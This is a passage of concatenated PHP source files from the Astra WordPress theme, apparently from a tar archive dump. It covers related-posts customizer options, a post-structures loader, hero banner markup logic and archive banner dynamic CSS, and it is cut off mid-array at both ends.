'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Related Posts Title Font Extras */ array( 'name' => 'related-posts-section-title-font-extras', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-section-title-typography-group]', 'control' => 'ast-font-extras', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-section-title-font-extras' ), 'title' => __( 'Font Extras', 'astra' ), ), /** * Option: Related Posts Meta Font Family */ array( 'name' => 'related-posts-meta-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( 'related-posts-meta-font-family' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[related-posts-meta-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Meta Font Weight */ array( 'name' => 'related-posts-meta-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( 'related-posts-meta-font-weight' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => 'related-posts-meta-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Meta Font Size */ array( 'name' => 'related-posts-meta-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( 'related-posts-meta-font-size' ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Related Posts Meta Font Extras */ array( 'name' => 'related-posts-meta-font-extras', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-meta-typography-group]', 'control' => 'ast-font-extras', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-meta-font-extras' ), 'title' => __( 'Font Extras', 'astra' ), ), /** * Option: Related Posts Content Font Family */ array( 'name' => 'related-posts-content-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-content-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( 'related-posts-content-font-family' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[related-posts-content-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Content Font Weight */ array( 'name' => 'related-posts-content-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-content-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( 'related-posts-content-font-weight' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => 'related-posts-content-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Related Posts Content Font Size */ array( 'name' => 'related-posts-content-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-content-typography-group]', 'section' => 'ast-sub-section-related-posts', 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( 'related-posts-content-font-size' ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Related Posts Content Font Extras. */ /** * Option: Related Posts Meta Font Extras */ array( 'name' => 'related-posts-content-font-extras', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[related-posts-content-typography-group]', 'control' => 'ast-font-extras', 'section' => 'ast-sub-section-related-posts', 'default' => astra_get_option( 'related-posts-content-font-extras' ), 'title' => __( 'Font Extras', 'astra' ), ), ); $_configs = array_merge( $_configs, Astra_Extended_Base_Configuration::prepare_section_spacing_border_options( 'ast-sub-section-related-posts' ) ); return array_merge( $configurations, $_configs ); } } /** * Kicking this off by creating NEW instance. */ new Astra_Related_Posts_Configs(); related-posts/class-astra-related-posts.php 0000644 00000002434 15104530576 0015055 0 ustar 00 <?php /** * Related Posts for Astra theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 3.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_RELATED_POSTS_DIR', ASTRA_THEME_DIR . 'inc/modules/related-posts/' ); /** * Related Posts Initial Setup * * @since 3.5.0 */ class Astra_Related_Posts { /** * Constructor function that initializes required actions and hooks * * @since 3.5.0 */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_RELATED_POSTS_DIR . 'class-astra-related-posts-loader.php'; require_once ASTRA_RELATED_POSTS_DIR . 'class-astra-related-posts-markup.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound // Include front end files. if ( ! is_admin() ) { require_once ASTRA_RELATED_POSTS_DIR . 'css/static-css.php'; // phpcs:ignore: WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_RELATED_POSTS_DIR . 'css/dynamic-css.php'; // phpcs:ignore: WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } } /** * Kicking this off by creating NEW instance. */ new Astra_Related_Posts(); posts-structures/class-astra-posts-structure-loader.php 0000644 00000024751 15104530576 0017552 0 ustar 00 <?php /** * Post Structures loader for Astra theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 4.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 4.0.0 */ class Astra_Posts_Structure_Loader { /** * Instance * * @var array $customizer_defaults */ private static $customizer_defaults = array(); /** * Supported post types to process dynamic customizer. * * @var array $supported_post_types */ private static $supported_post_types = array(); /** * Constructor * * @since 4.0.0 */ public function __construct() { /** * Update Astra default color and typography values. To not update directly on existing users site, added backwards. * * @since 4.0.0 */ $apply_new_default_color_typo_values = Astra_Dynamic_CSS::astra_check_default_color_typo(); self::$customizer_defaults['responsive-background'] = array( 'desktop' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', 'overlay-type' => '', 'overlay-color' => '', 'overlay-opacity' => '', 'overlay-gradient' => '', 'background-type' => '', 'background-media' => '', ), 'tablet' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', 'overlay-type' => '', 'overlay-color' => '', 'overlay-opacity' => '', 'overlay-gradient' => '', 'background-type' => '', 'background-media' => '', ), 'mobile' => array( 'background-color' => '', 'background-image' => '', 'background-repeat' => 'repeat', 'background-position' => 'center center', 'background-size' => 'auto', 'background-attachment' => 'scroll', 'overlay-type' => '', 'overlay-color' => '', 'overlay-opacity' => '', 'overlay-gradient' => '', 'background-type' => '', 'background-media' => '', ), ); self::$customizer_defaults['responsive-spacing'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); self::$customizer_defaults['responsive-padding'] = array( 'desktop' => array( 'top' => 3, 'right' => 3, 'bottom' => 3, 'left' => 3, ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'em', 'tablet-unit' => 'em', 'mobile-unit' => 'em', ); self::$customizer_defaults['font-size'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); self::$customizer_defaults['title-font-size'] = array( 'desktop' => $apply_new_default_color_typo_values ? '32' : '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); self::$customizer_defaults['title-font-weight'] = $apply_new_default_color_typo_values ? '600' : 'inherit'; self::$customizer_defaults['responsive-slider'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); self::$customizer_defaults['responsive-color'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); self::$customizer_defaults['font-extras'] = array( 'line-height' => '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => '', 'text-decoration' => '', ); add_action( 'customize_register', array( $this, 'posts_structures_customize_register' ), 2 ); add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ) ); } /** * Enqueue google fonts. * * @return void * @since 4.0.0 */ public function add_fonts() { $post_types = self::get_supported_post_types(); foreach ( $post_types as $post_type ) { // Single Banner - Font Support. $title_section = 'ast-dynamic-single-' . $post_type; $single_title_font_family = astra_get_option( $title_section . '-title-font-family' ); $single_title_font_weight = astra_get_option( $title_section . '-title-font-weight' ); Astra_Fonts::add_font( $single_title_font_family, $single_title_font_weight ); $single_text_font_family = astra_get_option( $title_section . '-text-font-family' ); $single_text_font_weight = astra_get_option( $title_section . '-text-font-weight' ); Astra_Fonts::add_font( $single_text_font_family, $single_text_font_weight ); $single_meta_font_family = astra_get_option( $title_section . '-meta-font-family' ); $single_meta_font_weight = astra_get_option( $title_section . '-meta-font-weight' ); Astra_Fonts::add_font( $single_meta_font_family, $single_meta_font_weight ); // Archive Banner - Font Support. $title_section = 'ast-dynamic-archive-' . $post_type; $archive_text_font_family = astra_get_option( $title_section . '-text-font-family' ); $archive_text_font_weight = astra_get_option( $title_section . '-text-font-weight' ); Astra_Fonts::add_font( $archive_text_font_family, $archive_text_font_weight ); $archive_title_font_family = astra_get_option( $title_section . '-title-font-family' ); $archive_title_font_weight = astra_get_option( $title_section . '-title-font-weight' ); Astra_Fonts::add_font( $archive_title_font_family, $archive_title_font_weight ); } foreach ( self::get_special_page_types() as $special_type ) { $title_section = 'section-' . $special_type . '-page-title'; $instance_text_font_family = astra_get_option( $title_section . '-text-font-family' ); $instance_text_font_weight = astra_get_option( $title_section . '-text-font-weight' ); Astra_Fonts::add_font( $instance_text_font_family, $instance_text_font_weight ); $instance_title_font_family = astra_get_option( $title_section . '-title-font-family' ); $instance_title_font_weight = astra_get_option( $title_section . '-title-font-weight' ); Astra_Fonts::add_font( $instance_title_font_family, $instance_title_font_weight ); } } /** * Add postMessage support for site title and description for the Theme Customizer. * * @param WP_Customize_Manager $wp_customize Theme Customizer object. * * @since 4.0.0 */ public function posts_structures_customize_register( $wp_customize ) { /** * Register Config control in Related Posts. */ // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'customizer/class-astra-posts-structures-configs.php'; require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'customizer/class-astra-posts-single-structures-configs.php'; require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'customizer/class-astra-posts-archive-structures-configs.php'; require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'customizer/class-astra-posts-special-archive-structures-configs.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } /** * Get all supported pots types & filter the public ones for further query. * * @since 4.0.0 * @return array $post_types */ public static function get_supported_post_types() { if ( empty( self::$supported_post_types ) || is_customize_preview() ) { self::$supported_post_types = astra_get_queried_post_types(); // If Elementor is active, reindex the array. if ( defined( 'ELEMENTOR_VERSION' ) ) { self::$supported_post_types = array_values( self::$supported_post_types ); } } return apply_filters( 'astra_dynamic_post_structure_posttypes', self::$supported_post_types ); } /** * Get special pages query. * * @since 4.6.0 * @return array $special_pages */ public static function get_special_page_types() { $special_pages = array( 'search', ); return apply_filters( 'astra_dynamic_special_pages', $special_pages ); } /** * Customizer preview support. * * @since 4.0.0 */ public function preview_scripts() { /** @psalm-suppress RedundantCondition */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $dir_name = SCRIPT_DEBUG ? 'unminified' : 'minified'; /** @psalm-suppress RedundantCondition */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort /** @psalm-suppress RedundantCondition */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $file_prefix = SCRIPT_DEBUG ? '' : '.min'; /** @psalm-suppress RedundantCondition */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort wp_enqueue_script( 'astra-post-strctures-customizer-preview', ASTRA_THEME_POST_STRUCTURE_URI . 'assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true ); // Localize variables for further JS. wp_localize_script( 'astra-post-strctures-customizer-preview', 'AstraPostStrcturesData', array( 'post_types' => self::get_supported_post_types(), 'special_pages' => self::get_special_page_types(), 'tablet_break_point' => astra_get_tablet_breakpoint(), 'mobile_break_point' => astra_get_mobile_breakpoint(), 'enabled_related_post' => astra_get_option( 'enable-related-posts', false ), ) ); } /** * Get customizer dynamic default. * * @param string $key Retrieve default for this parameter. * * @since 4.0.0 */ public static function get_customizer_default( $key ) { return isset( self::$customizer_defaults[ $key ] ) ? self::$customizer_defaults[ $key ] : array(); } } /** * Initialize class object with 'new' instance. */ new Astra_Posts_Structure_Loader(); posts-structures/class-astra-posts-structure-markup.php 0000644 00000020122 15104530576 0017567 0 ustar 00 <?php /** * Hero section layout for Astra theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 4.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Breadcrumbs Markup Initial Setup * * @since 4.0.0 */ class Astra_Posts_Structure_Markup { /** * Constructor */ public function __construct() { $astra_banner_hook = apply_filters( 'astra_banner_hook', 'astra_content_before' ); add_action( esc_attr( $astra_banner_hook ), array( $this, 'astra_add_hero_section_markup' ), 99 ); } /** * Check eligibility to override default entry header. * * @since 4.0.0 * @return void */ public function astra_add_hero_section_markup() { if ( apply_filters( 'astra_apply_hero_header_banner', true ) ) { $this->override_entry_header(); } } /** * Support custom title & description support for archive. * * @param string $title Default archive title. * @since 4.0.0 * @return string */ public function astra_archive_custom_title( $title ) { $post_type = astra_get_post_type(); $custom_title = astra_get_option( 'ast-dynamic-archive-' . $post_type . '-custom-title', '' ); return ! empty( $custom_title ) ? $custom_title : $title; } /** * Override default entry header. * * @since 4.0.0 * @return void */ public function override_entry_header() { if ( is_front_page() && 'page' === get_option( 'show_on_front' ) && astra_get_option( 'ast-dynamic-single-page-disable-structure-meta-on-front-page', false ) ) { return; } if ( is_search() ) { if ( true === astra_get_option( 'ast-search-page-title', true ) ) { if ( 'layout-2' === astra_get_option( 'section-search-page-title-layout', 'layout-1' ) ) { $type = 'search'; do_action( 'astra_before_archive_' . $type . '_banner_content' ); get_template_part( 'template-parts/special-banner' ); do_action( 'astra_after_archive_' . $type . '_banner_content' ); remove_action( 'astra_archive_header', 'astra_archive_page_info' ); return; } } else { add_filter( 'astra_the_title_enabled', '__return_false' ); return; } } $post_type = astra_get_post_type(); $type = is_singular( $post_type ) ? 'single' : 'archive'; $supported_post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); if ( ! in_array( $post_type, $supported_post_types ) ) { return; } $layout_type = 'single' === $type ? astra_get_option( 'ast-dynamic-single-' . $post_type . '-layout', 'layout-1' ) : astra_get_option( 'ast-dynamic-archive-' . $post_type . '-layout', 'layout-1' ); // If banner title section is disabled then halt further processing. if ( 'single' === $type ) { if ( false === astra_get_option( 'ast-single-' . $post_type . '-title', class_exists( 'WooCommerce' ) && 'product' === $post_type ? false : true ) ) { add_filter( 'astra_single_layout_one_banner_visibility', '__return_false' ); return; } $visibility = get_post_meta( absint( astra_get_post_id() ), 'ast-banner-title-visibility', true ); $visibility = apply_filters( 'astra_banner_title_area_visibility', $visibility ); if ( 'disabled' === $visibility ) { add_filter( 'astra_single_layout_one_banner_visibility', '__return_false' ); return; } } else { // If layout-1 is set then no need to process further. if ( false === astra_get_option( 'ast-archive-' . $post_type . '-title', class_exists( 'WooCommerce' ) && 'product' === $post_type ? false : true ) ) { add_filter( 'astra_the_title_enabled', '__return_false' ); return; } if ( 'layout-1' === $layout_type ) { // WooCommerce specific compatibility - As layout-1 support needs to add externally. if ( class_exists( 'WooCommerce' ) && ( is_shop() || is_product_taxonomy() ) ) { $this->astra_woocommerce_banner_layout_1_compatibility(); add_action( 'astra_primary_content_top', array( $this, 'astra_force_render_banner_layout_1' ) ); } return; } add_filter( 'astra_the_title_enabled', '__return_false' ); } if ( 'single' === $type && 'layout-2' === $layout_type ) { do_action( 'astra_before_single_' . $post_type . '_banner_content' ); get_template_part( 'template-parts/single-banner' ); do_action( 'astra_after_single_' . $post_type . '_banner_content' ); add_filter( 'astra_remove_entry_header_content', '__return_true' ); add_filter( 'astra_single_layout_one_banner_visibility', '__return_false' ); } elseif ( ( is_front_page() && is_home() ) || ( is_home() ) ) { if ( true === astra_get_option( 'ast-dynamic-archive-post-banner-on-blog', false ) ) { // For latest posts page. add_filter( 'astra_the_default_home_page_title', array( $this, 'astra_archive_custom_title' ) ); // For blog page. add_filter( 'astra_the_blog_home_page_title', array( $this, 'astra_archive_custom_title' ) ); do_action( 'astra_before_archive_' . $post_type . '_banner_content' ); get_template_part( 'template-parts/archive-banner' ); do_action( 'astra_after_archive_' . $post_type . '_banner_content' ); remove_filter( 'astra_the_default_home_page_title', array( $this, 'astra_archive_custom_title' ) ); remove_filter( 'astra_the_blog_home_page_title', array( $this, 'astra_archive_custom_title' ) ); } } elseif ( class_exists( 'WooCommerce' ) && ( is_shop() || is_product_taxonomy() ) ) { $this->astra_woocommerce_banner_layout_1_compatibility(); do_action( 'astra_before_archive_' . $post_type . '_banner_content' ); get_template_part( 'template-parts/archive-banner' ); do_action( 'astra_after_archive_' . $post_type . '_banner_content' ); if ( is_shop() ) { remove_filter( 'woocommerce_page_title', array( $this, 'astra_archive_custom_title' ) ); } } elseif ( class_exists( 'WooCommerce' ) && 'single' === $type && 'product' === $post_type && 'layout-1' === $layout_type ) { // Adding layout 1 support to Product post type for single layout. add_action( 'astra_primary_content_top', array( $this, 'astra_force_render_banner_layout_1' ) ); } elseif ( 'archive' === $type ) { $is_post_type_archive = is_post_type_archive( $post_type ) ? true : false; if ( $is_post_type_archive ) { add_filter( 'get_the_archive_title', array( $this, 'astra_archive_custom_title' ) ); } do_action( 'astra_before_archive_' . $post_type . '_banner_content' ); get_template_part( 'template-parts/archive-banner' ); do_action( 'astra_after_archive_' . $post_type . '_banner_content' ); if ( $is_post_type_archive ) { remove_filter( 'get_the_archive_title', array( $this, 'astra_archive_custom_title' ) ); } } } /** * Layout 1 will also needed for WooCommerce product. * Case: WooCommerce by default adds "Shop" title, breadcrumb on shop/product-archive frontend, but this should also get linked to banner layout 1. * * @since 4.0.0 * @return void */ public function astra_woocommerce_banner_layout_1_compatibility() { // For custom title page. if ( is_shop() ) { add_filter( 'woocommerce_page_title', array( $this, 'astra_archive_custom_title' ) ); } add_filter( 'woocommerce_show_page_title', '__return_false' ); remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20 ); remove_action( 'woocommerce_archive_description', 'woocommerce_taxonomy_archive_description' ); remove_action( 'woocommerce_archive_description', 'woocommerce_product_archive_description' ); } /** * Enable layout 1 for some cases. Ex. WC Product. * * @since 4.0.0 * @return void */ public function astra_force_render_banner_layout_1() { $is_singular = is_singular() ? true : false; if ( $is_singular ) { ?> <header class="entry-header <?php astra_entry_header_class(); ?>"> <?php astra_single_header_top(); } else { ?> <section class="ast-archive-description"> <?php do_action( 'astra_before_archive_title' ); } astra_banner_elements_order(); if ( $is_singular ) { ?> </header> <!-- .entry-header --> <?php astra_single_header_bottom(); } else { ?> </section> <?php do_action( 'astra_after_archive_title' ); } } } new Astra_Posts_Structure_Markup(); posts-structures/css/archive-dynamic.css.php 0000644 00000053626 15104530576 0015312 0 ustar 00 <?php /** * Post Structures - Archive Dynamic CSS * * @package Astra * @since 4.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Post Structures */ add_filter( 'astra_dynamic_theme_css', 'astra_post_archive_structure_dynamic_css' ); /** * Archive Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Post Structures. * * @since 4.0.0 */ function astra_post_archive_structure_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $current_post_type = astra_get_post_type(); $supported_post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); if ( is_search() || ! in_array( $current_post_type, $supported_post_types ) ) { return $dynamic_css; } if ( false === astra_get_option( 'ast-archive-' . $current_post_type . '-title', class_exists( 'WooCommerce' ) && 'product' === $current_post_type ? false : true ) ) { return $dynamic_css; } // SureCart Shop Page Banner Support. $surecart_shop_support = defined( 'SURECART_PLUGIN_FILE' ) && is_page() && get_the_ID() === absint( get_option( 'surecart_shop_page_id' ) ) ? true : false; if ( $surecart_shop_support ) { $current_post_type = 'sc_product'; } $layout_type = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-layout', 'layout-1' ); $layout_2_active = 'layout-2' === $layout_type ? true : false; if ( $layout_2_active ) { $selector = '.ast-archive-entry-banner[data-post-type="' . $current_post_type . '"]'; } else { if ( $surecart_shop_support ) { $selector = 'body.page .ast-archive-description'; } else { $selector = 'body.archive .ast-archive-description'; } } $horz_alignment = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-horizontal-alignment' ); $desk_h_alignment = isset( $horz_alignment['desktop'] ) ? $horz_alignment['desktop'] : ''; $tab_h_alignment = isset( $horz_alignment['tablet'] ) ? $horz_alignment['tablet'] : ''; $mob_h_alignment = isset( $horz_alignment['mobile'] ) ? $horz_alignment['mobile'] : ''; if ( 'layout-1' === $layout_type ) { $desk_h_alignment = '' !== $desk_h_alignment ? $desk_h_alignment : 'left'; $tab_h_alignment = '' !== $tab_h_alignment ? $tab_h_alignment : 'left'; $mob_h_alignment = '' !== $mob_h_alignment ? $mob_h_alignment : 'left'; } $elements_gap = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-elements-gap', 10 ); $banner_padding = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-padding', class_exists( 'WooCommerce' ) && 'product' === $current_post_type ? Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-spacing' ) : Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-padding' ) ); $banner_margin = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-margin' ); $banner_height = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-height' ); $desk_banner_height = $layout_2_active && isset( $banner_height['desktop'] ) ? astra_get_css_value( $banner_height['desktop'], 'px' ) : ''; $tab_banner_height = $layout_2_active && isset( $banner_height['tablet'] ) ? astra_get_css_value( $banner_height['tablet'], 'px' ) : ''; $mob_banner_height = $layout_2_active && isset( $banner_height['mobile'] ) ? astra_get_css_value( $banner_height['mobile'], 'px' ) : ''; $text_color = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-text-color' ); $title_color = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-title-color' ); $link_color = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-link-color' ); $link_hover_color = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-link-hover-color' ); $vert_alignment = $layout_2_active ? astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-vertical-alignment', 'center' ) : 'center'; $width_type = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-width-type', 'fullwidth' ); $custom_width = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-custom-width', 1200 ); $background_type = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-banner-image-type', 'none' ); // Banner Text typography dynamic stylings. $banner_text_font_size = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-text-font-size' ); // Banner Title typography dynamic stylings. $banner_title_font_size = astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-title-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-size' ) ); $css_output_min_tablet = array(); $narrow_container_width = astra_get_option( 'narrow-container-max-width', apply_filters( 'astra_narrow_container_width', 750 ) ); // Few settings from banner section are also applicable to 'layout-1' so adding this condition & compatibility. if ( 'layout-1' === $layout_type ) { $site_content_width = astra_get_option( 'site-content-width', 1200 ); /** * Desktop CSS. */ $css_output_desktop = array( $selector => array( 'max-width' => $site_content_width . 'px', 'width' => '100%', 'text-align' => $desk_h_alignment, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'desktop' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'desktop' ), ), $selector . ' *' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-text-font-family' ), astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-text-font-weight' ), $banner_text_font_size, 'ast-dynamic-archive-' . $current_post_type . '-text-font-extras', $text_color ), $selector . ' .ast-archive-title, ' . $selector . ' .ast-archive-title *' => astra_get_font_array_css( astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-title-font-family' ), astra_get_option( 'ast-dynamic-archive-' . $current_post_type . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), $banner_title_font_size, 'ast-dynamic-archive-' . $current_post_type . '-title-font-extras', $title_color ), $selector . ' a, ' . $selector . ' a *' => array( 'color' => esc_attr( $link_color ), ), $selector . ' a:hover, ' . $selector . ' a:hover *' => array( 'color' => esc_attr( $link_hover_color ), ), $selector . ' > *:not(:last-child)' => array( 'margin-bottom' => $elements_gap . 'px', ), ); /** * Tablet CSS. */ $css_output_tablet = array( $selector => array( 'text-align' => $tab_h_alignment, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'tablet' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'tablet' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'tablet' ), ), $selector . ' .ast-archive-title' => array( 'font-size' => astra_responsive_font( $banner_title_font_size, 'tablet' ), ), $selector . ' *' => array( 'font-size' => astra_responsive_font( $banner_text_font_size, 'tablet' ), ), ); /** * Mobile CSS. */ $css_output_mobile = array( $selector => array( 'text-align' => $mob_h_alignment, 'padding-top' => astra_responsive_spacing( $banner_padding, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $banner_padding, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $banner_padding, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $banner_padding, 'left', 'mobile' ), 'margin-top' => astra_responsive_spacing( $banner_margin, 'top', 'mobile' ), 'margin-right' => astra_responsive_spacing( $banner_margin, 'right', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $banner_margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $banner_margin, 'left', 'mobile' ), ), $selector . ' 